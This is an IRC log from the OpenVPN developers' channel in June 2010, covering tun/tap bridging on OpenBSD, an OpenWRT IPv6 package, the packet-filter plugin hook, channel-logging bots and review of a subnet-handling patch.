07:46 < reg9009> tcpdump on tun0 shows: 07:46 <@cron2> reg9009: you should have a tap0 interface 07:47 < reg9009> on OpenBSD, there's no tap0, only tun0 in tap mode... 07:47 < reg9009> I get crazy with the BSD stuff... ;) 07:47 <@cron2> you're sure of that? (Not that there is a "dev /dev/tun0" lingering in your config?) 07:48 < reg9009> I had it running before. But I played that much, I haven't got it running again... 07:49 <@cron2> can't say right now - I have no OpenBSD to test, and no working tap setup on FreeBSD or NetBSD right now 07:49 < reg9009> ok, figured it out. 07:49 < reg9009> ifconfig tun0 link0 up 07:49 <@cron2> the error that you post is something I have seen with NetBSD and IPv6 on "old" tun devices 07:49 < reg9009> the link0 is essential for bridging... 07:50 <@cron2> argv_printf (&argv, 07:50 <@cron2> "%s %s %s netmask %s mtu %d broadcast %s link0", 07:50 <@cron2> the code *should* do that... 07:55 < reg9009> well, it didn't here. 07:55 < reg9009> Ate least the 2nd time. 07:56 < reg9009> maybe I played it to death.... :) 08:20 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 08:21 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 08:41 < reg9009> bye, cu... 08:41 -!- reg9009 [~chatzilla@ip-94-79-162-2.unitymediagroup.de] has left #openvpn-devel [] 09:00 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 10:03 <@cron2> mape2k: do I remember correctly that you do OpenWRT work? 10:05 * cron2 wonders how to get started with an OpenVPN-for-OpenWRT package that has IPv6 support (from openvpn-testing) 10:20 < mape2k> cron2, WiP... but very busy at the moment with university and job :( 10:26 <@cron2> mape2k: ok, found some docs about buildroot and package feeds on the web... will give it a try 11:29 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:30 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-dozvzsxjeawefddo] has quit [Disconnected by services] 11:30 -!- waldner_ is now known as waldner 12:38 -!- dazo is now known as dazo_afk 13:22 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 272 seconds] 15:04 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 17:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 18:04 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 19:24 -!- krzie [nobody@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 20:20 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Sat Jun 05 2010 01:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:57 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 02:52 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:52 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 02:57 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 03:09 -!- mape2k [~mape2k@p5B28691D.dip.t-dialin.net] has joined #openvpn-devel 03:43 -!- mape2k [~mape2k@p5B28691D.dip.t-dialin.net] has quit [Ping timeout: 245 seconds] 03:54 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 04:38 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 05:58 -!- mape2k [~mape2k@p5B28447D.dip.t-dialin.net] has joined #openvpn-devel 06:56 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 06:59 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 07:48 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 08:09 <@cron2> ok, built an openvpn+ipv6 package for backfire 10.03 / ar71xx... bcm24 next... 08:14 <@cron2> (dunno yet whether it actually *works* :) ) 08:42 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 258 seconds] 09:21 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 09:21 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:35 -!- mape2k [~mape2k@p5B28447D.dip.t-dialin.net] has quit [Read error: Operation timed out] 11:47 < krzie> grr 11:47 < krzie> the web manual STILL doesnt redirect right 11:47 < krzie> http://openvpn.net/man-beta.html#lbAR 11:48 < krzie> loses #lbAR on redirect 11:48 < krzie> http://openvpn.net/man#lbAR also doesnt work 11:58 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 12:09 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 14:37 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 18:47 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Sun Jun 06 2010 05:02 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 05:26 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 05:28 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:22 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:06 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 13:18 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 15:19 -!- krzie is now known as krzee 16:11 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Mon Jun 07 2010 01:22 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:55 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 03:07 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 03:29 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-uqsgrjnydfsdvljl] has joined #openvpn-devel 03:36 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:49 -!- dazo_afk is now known as dazo 03:57 < waldner> where is the "openvpn internal packet filter" feature documented, if at all? is it something meant to be used by users? 03:59 < chantra> waldner: http://svn.openvpn.net/projects/openvpn/branches/BETA21/openvpn/openvpn-plugin.h 03:59 < waldner> yes, I saw it mentioned there 03:59 < waldner> but the description isn't too clear imho 04:00 < waldner> are there examples? does it need to be a plugin or not? 04:00 < waldner> I see it can be disabled at configure time 04:04 < chantra> waldner: AFAIK, it needs to be a plugin 04:04 < chantra> returning the rules 04:04 < waldner> could it be used to control client-to-client connections in bridged mode? 04:04 < waldner> well, I guess I'll have to try it :) 04:11 < chantra> waldner: dunno how it would go in brdige more, but yeah in tun mode, you can handle c2c 04:11 < chantra> i would assume it does as per openvpn doc 04:12 < waldner> but in tun mode you can already do that using iptables (if client-to-client is not in the config) 04:12 < waldner> but if you say it works for tun, it should work for tap too then 04:13 < waldner> as AFAICT openvpn's internal handling of c2c packets isn't too different 04:13 * waldner sets up a test lab to try it 04:15 <@mattock> anyone care to share chatlogs from last meeting (3rd June)? It seems pidgin starts to write to logs only after a restart so I lost mine... 04:15 < chantra> mattock: i should be able to go all way long in my irssi window 04:15 < chantra> can mail that to you 04:16 <@mattock> ok, great! 04:16 < chantra> or post it on a https://community.openvpn.net/openvpn/wiki/Topics-2010-05-06 04:16 < vpnHelper> Title: Topics-2010-05-06 – OpenVPN (at community.openvpn.net) 04:17 <@mattock> that's fine too :) 04:18 < chantra> mattock: i am afraid I am missing the first 20 minutes :s 04:18 < chantra> my log start at 20:26 <@mattock> so next would be "Dynamic iroute behaviour" 04:18 <@mattock> that's better than nothing, perhaps somebody else has the beginning :) 04:19 < chantra> yeah, will be missing this: Openvpn-devel openvpn-2.1.0-r1: easy-rsa tools creates broken client CERTs unusable for TLS 04:20 <@mattock> oh yes, I remember the easy-rsa issue... and also remember the conclusion we reached 04:20 < waldner> well IIRC the discussion for that was just that more information is needed and will be asked to the reporter 04:20 <@mattock> waldner: yep 04:29 < chantra> mattock: just sent 04:29 <@mattock> thanks! 04:29 < chantra> actually, wouldnt it be a good idea to have a/the bot save the session to log? 04:30 < chantra> that way, one can also view older discussion online 04:42 <@mattock> chantra: I think that'd be a good idea 04:42 <@mattock> ecrist or krzee might be able to pull that off, perhaps 04:42 < chantra> mattock: I was talking to vpnhelper just now to see if it was supybot 04:42 <@mattock> it's our friendly helper bot ;) 04:42 < chantra> supybot for logs along with http://mg.pov.lt/irclog2html/ 04:42 < vpnHelper> Title: irclog2html (at mg.pov.lt) 04:43 <@mattock> oh, I see 04:49 < chantra> mattock: krzee has supybot running 04:49 < chantra> logging does not seem enabled 04:49 <@mattock> ok 04:49 < chantra> mattock: you might appreciate this plugin :p 04:49 < chantra> http://meetbot.debian.net/Manual.html 04:49 <@mattock> logging would be very useful... not everyone has irssi or something running in screen for 24/7 (like me) 04:49 < vpnHelper> Title: MeetBot, a supybot plugin for IRC meeting notetaking (at meetbot.debian.net) 04:50 < chantra> :) 04:50 < chantra> yeah and it is a good source of information sometime 04:50 <@mattock> hmm, looks pretty nice 04:50 < chantra> mainly logs from #openvpn might come to help answer so questions 04:53 <@mattock> meetbot might indeed be useful 05:08 < waldner> so it seems that OPENVPN_PLUGIN_ENABLE_PF, unlike the other hooks, can only be handled by a plugin. I'd be curious to know if there's a special reason why there's no script hook for that 05:08 < waldner> after all, all it does is write out a file 05:12 < chantra> waldner: do you need to do per client rules? 05:13 < waldner> well, at this stage I'm just studying it to see how it works 05:13 < waldner> (and become more familiar with plugins in general, too) 05:14 < chantra> waldner: fyi, for each client connection you will receive OPENVPN_PLUGIN_ENABLE_PF before it even authenticate 05:15 < chantra> then, pf_file will be provided in _CONNECT call 05:15 < waldner> ok, thanks for the info 05:20 < chantra> mattock: if there is a way to run supybot on https://community.openvpn.net/openvpn then http://trac-hacks.org/wiki/IrcLogsPlugin will be neat 05:20 < vpnHelper> Title: OpenVPN (at community.openvpn.net) 05:21 <@mattock> yep, we discussed IrcLogsPlugin in a very early (December?) IRC meeting... 05:21 <@mattock> it'd be nice to have 06:27 < ecrist> chantra: the logs are already being saved by my client, and made available. 06:28 < ecrist> I moved hosts a month ago, though, and haven't updated the script. 06:28 < ecrist> !irclogs 06:28 < vpnHelper> ecrist: "irclogs" is Logs for this channel can be found at http://www.secure-computing.net/logs/openvpn-devel.txt 06:31 * ecrist looks at fixing that now. 06:40 < ecrist> ok, irclogs are fixed. 06:44 < chantra> ecrist: nice 06:45 < chantra> but this is you irssi logs right? 06:45 < ecrist> yes 06:45 < chantra> k 06:45 < ecrist> what's wrong with that? 06:46 < chantra> nothing :) 06:46 < chantra> but supybot AKA vpnHelper can log them in other format 06:46 < chantra> then, it can be parsed by http://mg.pov.lt/irclog2html/ or http://trac-hacks.org/wiki/IrcLogsPlugin 06:46 < vpnHelper> Title: irclog2html (at mg.pov.lt) 06:47 < ecrist> chantra: sure, but irssi logs can be parsed, as well. 06:47 < chantra> and output will ook like http://irclogs.ubuntu.com/2009/05/05/%23kubuntu-devel.html 06:47 < vpnHelper> Title: /srv/irclogs.ubuntu.com/2009/05/05/#kubuntu-devel.txt (at irclogs.ubuntu.com) 06:47 < ecrist> I've not bothered to write anything for that. the number of instances logs are actually requested is almost zilch, so it's not been a concern. 06:47 < chantra> :) 06:48 < ecrist> I would posit that page looks like crap. 06:48 < chantra> well, highlighting can help in sorting out line visually :) 06:49 < chantra> i was just thinking that if #openvpn irc logs get indexed, people can find old info from web searches 06:50 < ecrist> that's not a bad idea. though, some have specifically requested I make an effort to prevent the logs from being indexed. 06:51 < ecrist> others don't like that the logs are available as it is. 06:51 < ecrist> *shrug* you can't please everyone. ;) 06:51 < chantra> ecrist: :D yeah 06:51 < chantra> but that is for openvpn-devel right? 06:52 < chantra> #openvpn is only community support channel 06:52 < ecrist> logs are kept for both, and made available. 06:52 < ecrist> mattack makes logs available as part of his meeting notes he published to the mailing list. 06:53 * chantra just remove -devel from url :) 06:53 < chantra> ecrist: yeah saw that on ML 09:15 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 272 seconds] 11:33 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:34 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-uqsgrjnydfsdvljl] has quit [Disconnected by services] 11:34 -!- waldner_ is now known as waldner 12:19 < waldner> should plugins use openvpn_plugin_{open,func,close}_v1 or v2? all the examples use v1, but the "docs" only mention v2 12:21 < waldner> it seems the code in plugin.c tries to call both 12:34 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:18 < chantra> waldner: it depends what "open" was called 13:19 < chantra> waldner: advantage of v2 will be perclient context and returned info to main ovpn thread 13:20 < chantra> i have been playing with plugins lately for some needs at my day job 13:20 < chantra> check http://github.com/chantra/openvpn-mysql-auth 13:20 < vpnHelper> Title: chantra's openvpn-mysql-auth at master - GitHub (at github.com) 13:20 < krzie> chantra, have you looked at dazo's plugin? 13:21 < krzie> although it doesnt do mysql yet... 13:21 < chantra> which one eupheria? 13:21 < krzie> aye 13:21 < krzie> and ill take that as a yes ;] 13:21 < chantra> yeah, but it did not meet my requirements 13:22 < krzie> gotchya 13:22 < chantra> i was setting 3rd party access to our network infrastructure 13:22 < chantra> plugin needed to: 13:22 < chantra> - have start -> end time a user could use resource 13:22 < chantra> - handle PF so we restrict access to only some machine 13:23 < krzie> ahh werd 13:23 < chantra> - record sessions :) 13:23 < krzie> do you use ldap? 13:24 < chantra> yop, but for internal accounts 13:24 < chantra> and i made that at the time 13:24 < chantra> http://github.com/chantra/openvpn-ldap-auth 13:24 < vpnHelper> Title: chantra's openvpn-ldap-auth at master - GitHub (at github.com) 13:24 < chantra> :p 13:24 < krzie> theres an ldap auth / iptables script, could be modded for pf 13:24 < krzie> oh, nevermind! 13:24 < chantra> openvpn-auth-ldap i guess 13:25 < chantra> was bsd based AFAICS 13:25 < chantra> but i could not be bothered to have 3rd party within ldap 13:25 < chantra> so i figured out mysql would do the job with more flexibility 13:26 * chantra loves and hates ldap 13:26 < chantra> krzie: for your use case, AFAIU, you just need to catch enable_pf call and return success 13:27 < chantra> then, on connect, get the pf_file from envp and write the rules 13:27 < chantra> woops, sorry that was for waldner 13:27 < krzie> ahh, i was wondering what my use case was ;) 13:27 < chantra> lol 13:33 < waldner> chantra: I'm checking which hooks set pf_file 13:33 < chantra> connect 13:33 < waldner> if a script hook sets that, I can generate the rule file then, and then use a minimal plugin that returns success for OPENVPN_PLUGIN_ENABLE_PF 13:34 < waldner> --client-connect? 13:34 < chantra> yop 13:34 < waldner> so I can generate the pf rule file using a script 13:34 < waldner> cool 13:34 < krzie> and whatever the client-connect script outputs to $1 (tmp file) is also read as a dynamic ccd entry 13:35 < krzie> for static ips and whatnot 13:35 < waldner> yes, that bit I knew 13:35 < waldner> but thanks for reminding 13:35 < krzie> np, i tried ;] 13:36 < waldner> basically OpenVPN knows whether to apply pf rules to the client or not based on the return value of openvpn_plugin_func_v1 OPENVPN_PLUGIN_ENABLE_PF 13:36 < waldner> IIUC 13:37 < krzie> if anything returns 0 in your --client-connect your --client-disconnect may not run iirc 13:37 < waldner> return 1 perhaps 13:37 < waldner> (shell is backwards) 13:37 < krzie> oh right 13:38 < krzie> but yanno what i mean 13:38 < waldner> yep 13:38 < krzie> s/0/fail/ 13:38 < krzie> ;] 13:40 < waldner> presumably one writes the --client-connect script in such a way that if it fails, --client-disconnect need not run 13:42 < krzie> aye 14:14 < waldner> pf_file=openvpn_pf_64c3b17fcd4b6910a85041b6714dd7ba.tmp \o/ 14:34 < chantra> $LOAD_PATH 14:34 < chantra> woops 14:36 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:37 -!- dazo is now known as dazo_afk 15:45 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 20:05 -!- chantra [~chantra@unaffiliated/chantra] has quit [Quit: leaving] 20:05 -!- chantra [~chantra@ns22757.ovh.net] has joined #openvpn-devel 20:07 -!- chantra [~chantra@ns22757.ovh.net] has quit [Client Quit] 20:07 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel --- Day changed Tue Jun 08 2010 00:56 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:02 -!- dazol [~dazo@nat/redhat/x-zwcrgcciinpjaxdi] has joined #openvpn-devel 03:09 -!- Netsplit *.net <-> *.split quits: krzie, @dazo_afk 03:34 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:04 -!- dazol [~dazo@nat/redhat/x-zwcrgcciinpjaxdi] has quit [Read error: Connection reset by peer] 04:08 -!- dazol [~dazo@nat/redhat/x-ekhvdgmhxizwwdpg] has joined #openvpn-devel 04:33 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 05:03 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:48 -!- dazol is now known as dazo 05:49 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:03 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 07:56 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 09:49 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:50 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 11:51 -!- dazo is now known as dazo_afk 11:59 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 13:04 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 15:12 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 15:15 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 17:26 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 23:44 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] --- Day changed Wed Jun 09 2010 00:58 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:12 -!- dazo_afk is now known as dazo 03:18 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has joined #openvpn-devel 03:36 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has quit [Ping timeout: 272 seconds] 04:22 -!- waldner [~waldner@76.73.16.26] has joined #openvpn-devel 06:16 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:23 -!- waldner [~waldner@76.73.16.26] has quit [Quit: CGI:IRC (Session timeout)] 09:58 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 11:36 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:36 -!- ecrist changed the topic of #openvpn-devel to: OpenVPN testing source tree: git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git | Browse the git tree: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary | Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn 11:36 -!- mode/#openvpn-devel [-o ecrist] by ecrist 11:38 -!- Irssi: #openvpn-devel: Total of 14 nicks [5 ops, 0 halfops, 0 voices, 9 normal] 12:17 < ecrist> dazo: fwiw, 195 downloads since apr 29 for weekly snapshots 12:17 <@dazo> that's awesome! 12:18 <@dazo> I've not dared to do any upgrades on my server running your -devel now right before my holiday, but when I'm back, I'm going to pull down a new version 12:18 < ecrist> 49 for week 22, 2 week 21, 116 week 19, 45 week 17, 3 week 12, 1 week 7 12:18 < ecrist> weeks 12, 17, 19, and 22 were all freebsd ports 12:20 < ecrist> week 24 will be a port again. 12:21 <@dazo> ecrist: I'll try to make sure the new stuff since my last push gets in before Sunday 12:28 < ecrist> ok 12:28 < ecrist> I'm trying to do port updates on even weeks. 12:28 < ecrist> so, if you have things you want to push forward, that's a goal to shoot for. 12:28 < ecrist> I usually also make sure the program at least executes. 12:37 < krzie> i find funny that to test AS i need linux as my server 12:37 < krzie> it only comes as .deb and .rpm 12:38 < ecrist> krzie: indeed. 12:39 < ecrist> we used one of the vmware images. 12:40 < krzie> ya, im gunna load linux in vmware at some point to play with it, but i now know theres 0 chance of it going production for me 12:40 < ecrist> we're in the same boat. 12:40 < ecrist> the admin interface is broken in firefox 3.6, btw 12:40 < krzie> i assumed so 12:40 < krzie> ill be seeing if its broken in opera / safari 12:40 < krzie> i dont use firefox, i use opera 12:41 < krzie> (osx opera) 12:41 < ecrist> it works in safari and firefox 3.5.9 12:41 < ecrist> I don't use opera 12:45 < ecrist> the new openvpn client for windows seems sharp, though. 12:47 < krzie> oh right 12:47 < krzie> another VM ill need 12:47 < krzie> LOL 12:48 < krzie> server only suports linux, client only supports windows... i run neither 12:53 < ecrist> you can run any open-source client. 12:54 < krzie> orly 12:55 < ecrist> rly 13:22 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:24 -!- dazo is now known as dazo_afk 15:07 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:12 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 15:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 15:38 <@raidz> hmm ecrst: you sure it doesn't run in 3.6, we have not had that problem 15:38 <@raidz> and yes, you can connect to the server with the open-source clients 15:39 <@raidz> We are looking to make a version for freebsd, its just that as relied heavily on iptables, freebsd = ipfw 15:40 <@raidz> *relies 15:43 <@openvpn2009> no hating krziee ;) 15:50 < krzee> go for pf instead of ipfw 15:51 < krzee> pf is better, plus you'll get openbsd support by doing that 16:38 <@raidz> krzee: I will relay that to James, thanks 16:41 < krzee> np 16:42 < krzee> in fact it looks like netbsd has pf too 16:42 < krzee> so you'll get *BSD 17:16 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 18:23 < ecrist> raidz: yes, we're sure. we ran it on a linux system in firefox 3.6 and it failed, 3.5.9 worked. same on my mac 18:23 < ecrist> pf is the better way to go. 18:24 < ecrist> with some coaxing, raidz, I can get it put into the freebsd ports tree, too. 18:25 < ecrist> allow it to install the two-user 'demo' by default, perhaps with a message about how to obtain a bigger license. 18:26 < krzee> ecrist, can binaries be added to ports? 18:26 < ecrist> yep 18:26 < krzee> ahh, wasnt aware of that 18:27 * ecrist points out java-* 18:27 < krzee> thought it was kinda source only, with pkg being for binary only 18:27 < ecrist> and nvidia 18:27 < ecrist> well, the port can install the package, or pull the binary package and do the install. 18:27 < ecrist> ports is really more a general framework. 18:27 < ecrist> there are meta-ports that simply install other ports. 18:27 < ecrist> freeswitch is going to be one of those. 18:28 < ecrist> freeswitch port will depend on/install net/freeswitch-core, audio/freeswitch-sounds, audio/freeswitch-music, etc. 18:28 < krzee> gotchya 18:29 < krzee> we can have a nice port for ssl-admin + confgen too 18:30 < ecrist> we could create an openvpn-plugins port, which did that, sure. 18:30 < ecrist> maybe even install eurephia, etc. 18:31 < krzee> well the plugins port could use make config 18:31 < krzee> so you choose which plugins to use 18:31 < ecrist> all ports use that. 18:31 < ecrist> some just don't have any options. 18:31 < krzee> right 18:32 < ecrist> krzee: on a separate topic, I've switched my personal domain to postini for spam filtering 18:32 < ecrist> I've gotten tired of dspam 3.9 and I'm too lazy to try and back out to 3.6 18:34 < krzee> whats postini? 18:34 < ecrist> google's anti-spam filtering service 18:35 < ecrist> $12/year per user 18:35 < krzee> ahh 18:35 < ecrist> we started using it at work a couple months ago, it's pretty nice. 18:36 <@raidz> ecrist: is that per account or per machine? the $12 fee? 18:36 < ecrist> per email account 18:37 < ecrist> if you use google apps premier, it's $50/yr/account, and it includes postini. 18:37 < ecrist> I'm willing to pay $1/mo for less spam. ;) 18:38 <@raidz> yeah. thats very reasonable 18:44 < ecrist> krzee: if you want, I can set it up for you. you have funds available. ;) 18:45 < krzee> dont wanna pay the goog, nor do i want my mail touching their servers 18:45 < krzee> EVARRRRR 18:45 < ecrist> ok! 18:45 < krzee> but thank you 18:45 < krzee> =] --- Day changed Thu Jun 10 2010 00:17 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 00:17 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 00:18 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 01:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 01:02 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:16 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 02:23 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 02:31 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:15 -!- dazo_afk is now known as dazo 03:22 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:39 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 05:11 <@mattock> any ideas for todays meeting topics? 05:17 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:19 < chantra> mattock: if you are out of topics, i had a proposition whch did not get covered last time 05:19 < chantra> https://community.openvpn.net/openvpn/ticket/14 05:19 < vpnHelper> Title: #14 ([PATCH] Handle non standard subnets in PF grammar) – OpenVPN (at community.openvpn.net) 05:20 < chantra> also, i started implementing some kind of accounting feature for openvpn 05:20 < chantra> https://community.openvpn.net/openvpn/ticket/15 05:20 < vpnHelper> Title: #15 ([PATCH] Enabling Accounting/Stats for plugins) – OpenVPN (at community.openvpn.net) 05:20 < chantra> which could be usefull for radius based plugins for instance 05:22 <@mattock> chantra: sounds good, I'll create the topic page 05:29 <@mattock> ok, I think we have things to discuss: https://community.openvpn.net/openvpn/wiki/Topics-2010-06-10 05:29 < vpnHelper> Title: Topics-2010-06-10 – OpenVPN (at community.openvpn.net) 05:31 <@mattock> mail sent 05:40 -!- d12fk [~heiko@2a01:198:4d7:0:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 05:47 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 05:48 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 06:25 <@dazo> mattock: could you move over the topics from last week which was not covered? 06:25 <@mattock> already did 06:25 <@mattock> I think 06:26 <@dazo> mattock: I'll admit I haven't checked yet :) 06:31 <@dazo> chantra: that patch was discussed on the mailing list, right? 06:31 <@dazo> (looks like the modified version containing the warning) 06:31 <@dazo> (which cron2 wanted to see) 06:32 < chantra> dazo: might have missed that bit then 06:34 < chantra> remember that it covered the cert issue, dynamic routing and state sync 06:35 <@dazo> chantra: cron2 acked the patch on the mailing list, so I'll make sure it goes in ... I do agree with cron2, and it looks clean and nice - and the purpose is good as well! 06:36 <@dazo> chantra: one thing though ... it seems that your commit abe1ebc000cedac085d reverts your commit e88b07c46727e8f8fb51 06:36 <@dazo> e88b06c4 says: 06:36 <@dazo> - e->rule.network = ntohl (network.s_addr); 06:36 <@dazo> + e->rule.network = ntohl (network.s_addr) & netmask; 06:37 <@dazo> and abe1ebc00 says: 06:37 <@dazo> - e->rule.network = ntohl (network.s_addr) & netmask; 06:37 <@dazo> + e->rule.network = ntohl (network.s_addr); 06:37 < chantra> dazo: yeah... when it comes to a non conventionnal subnet in drop rules... it as unexpected to get the packet through 06:37 < chantra> dazo: let me check, but second patch changed the logic 06:38 <@dazo> ahh! I see now ... you do the correction inside the if() {} 06:38 <@dazo> in the latter patch 06:38 <@dazo> chantra: I'm gonna merge those to patches into one patch ... as that's cleaner, I hope you don't mind that 06:39 < chantra> so 1) i could print warning 2) it was not applied in a certain case 06:40 < chantra> dazo: in case line was "unknown" 06:40 < chantra> where the patch would not have done any change anyway 06:41 <@dazo> chantra: I'm not sure I follow you right now ... but I find it good that OpenVPN does the correction, and that the correction is only done when it is clearly wrong 06:41 <@dazo> chantra: so I like that all this correction stuff is done inside the if() block ... as that means the e->rule.network = ntohl (network.s_addr) line will be unchanged 06:42 < chantra> access to variable like subnet, network address is only accessible within the if() 06:42 <@dazo> yeah, and that's fine 08:58 <@cron2> is mape2k around? 08:59 < krzee> [07:02] * [mape2k] idle 03:41:11, signon: Thu Jun 10 03:17:39 08:59 < krzee> looks like nope 08:59 <@cron2> good point 08:59 < krzee> man, 10am is too early for life to begin 08:59 <@cron2> 4pm here :) 09:00 < krzee> now THATS a good time to get up! 09:12 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 09:15 <@cron2> there he goes... 10:01 -!- 